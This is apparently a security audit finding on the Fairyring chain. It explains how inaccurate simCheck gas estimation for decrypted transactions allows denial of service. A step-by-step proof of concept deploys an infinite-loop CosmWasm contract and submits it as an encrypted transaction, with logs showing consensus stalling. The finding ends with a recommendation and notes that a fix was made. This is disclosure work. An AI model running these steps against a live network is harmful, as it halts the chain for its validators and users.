DOS vulnerability from inaccurate gas estimation in BeginBlock
via simCheck
Description
In the Fairyring project code, decryptAndExecuteTx
uses simCheck
to calculate the gas consumed by decrypted transactions and then deducts the corresponding fee:
simCheckGas, _, err := am.simCheck(am.txConfig.TxEncoder(), txDecoderTx)
// We are using SimCheck() to only estimate gas for the underlying transaction
// Since user is supposed to sign the underlying transaction with Pep Nonce,
// is expected that we gets 'account sequence mismatch' error
// however, the underlying tx is not expected to get other errors
// such as insufficient fee, out of gas etc...
if err != nil && !strings.Contains(err.Error(), "account sequence mismatch") {
am.processFailedEncryptedTx(ctx, eachTx, fmt.Sprintf("error while performing check tx: %s", err.Error()), startConsumedGas)
return err
}
Typically, in the Cosmos SDK, transaction gas fees are automatically tracked and deducted during the DeliverTx
phase. However, in the Fairyring code, decrypted transactions are processed in the BeginBlock
phase, meaning the SDK's transaction context cannot be utilized to automatically calculate and deduct gas fees. This appears to be the reason for choosing simCheck
as an alternative.
However, simCheck
does not accurately reflect the actual gas consumption, as it does not truly execute the transaction; simCheck
primarily runs checkTx
, which only performs basic validation (such as AnteHandler
and ValidateBasic()
/ Validate()
functions). This is typically adequate for simpler messages with predictable gas consumption but not for more complex operations, especially when executing CosmWasm contracts, where actual gas usage can be significantly higher than estimated.
Impact
This issue could lead to a DOS vulnerability. For example, by crafting a message that calls a smart contract containing an infinite loop or a complex computation, an attacker could consume excessive resources, potentially causing the chain to become unresponsive. Since simCheck
only estimates the gas, the actual execution cost is not fully captured, allowing the attacker to bypass accurate gas deductions and exploit the network's resources.
This scenario demonstrates how an attacker could leverage an infinite loop within a CosmWasm contract to cause a DOS attack on the network.
Deploy the loop.wasm contract, which contains an infinite loop.
fairyringd tx wasm store loop.wasm -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas 2000000 --gas-prices 1ufairy
Instantiate the loop.wasm contract on the Fairyring network.
fairyringd tx wasm instantiate 1 '{}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --admin wallet1 --label foo --gas-prices 1ufairy
Query and retrieve the contract address for subsequent execution.
CONTRACT_ADDR=$(fairyringd q wasm list-contracts-by-code 1 --output=json | jq -r '.contracts[0]')
echo $CONTRACT_ADDR
Create a transaction to execute the contract, which will trigger the infinite loop.
fairyringd tx wasm execute $CONTRACT_ADDR '{"identity": "", "pubkey": "", "decryption_key": ""}' -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --generate-only --gas-prices 1ufairy > execute_loop_unsigned.json
Sign the generated transaction to make it ready for submission.
fairyringd tx sign execute_loop_unsigned.json --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet > execute_loop.json
Set the transaction to execute at a future block height. This step uses the latest chain height and adds 30 blocks.
TARGET_HEIGHT=$(($(fairyringd q pep latest-height -o json | jq -r '.height') + 30))
echo $TARGET_HEIGHT
Encrypt the signed transaction, which will be decrypted and executed at the specified block height.
fairyringd encrypt $TARGET_HEIGHT '' "$(cat execute_loop.json)" --node tcp://localhost:26657 --home devnet_data/fairyring_devnet > execute_loop.hex
Submit the encrypted transaction. This transaction will execute at the target height, attempting to run the contract with the infinite loop.
fairyringd tx pep submit-encrypted-tx $(cat execute_loop.hex) $TARGET_HEIGHT -y --home devnet_data/fairyring_devnet --from wallet1 --keyring-backend test --chain-id fairyring_devnet --gas-prices 1ufairy
Upon execution, the following log demonstrates the impact:
{"level":"info","module":"server","module":"consensus",
"dur":5000,"height":166,"round":0,"step":"RoundStepPropose",
"time":"2024-11-07T08:14:18Z","message":"Timed out"}
{"level":"info","module":"server","module":"pex","numOutPeers":0,
"numInPeers":0,"numDialing":0,"numToDial":10,
"time":"2024-11-07T08:14:26Z","message":"Ensure peers"}
{"level":"info","module":"server","module":"pex",
"time":"2024-11-07T08:14:26Z","message":"No addresses to dial. Falling back to seeds"}
This log indicates that the chain has become unresponsive due to executing the contract with an infinite loop, causing a time-out in the consensus process and stalling block production.
Recommendations
Replace or supplement simCheck
with an accurate gas-metering mechanism that can fully execute and track the gas usage of decrypted transactions in BeginBlock
. This would ensure that actual resource consumption aligns with gas deductions.
Remediation
This issue has been acknowledged by Fairblock Inc., and a fix was implemented in commit 5b830510↗.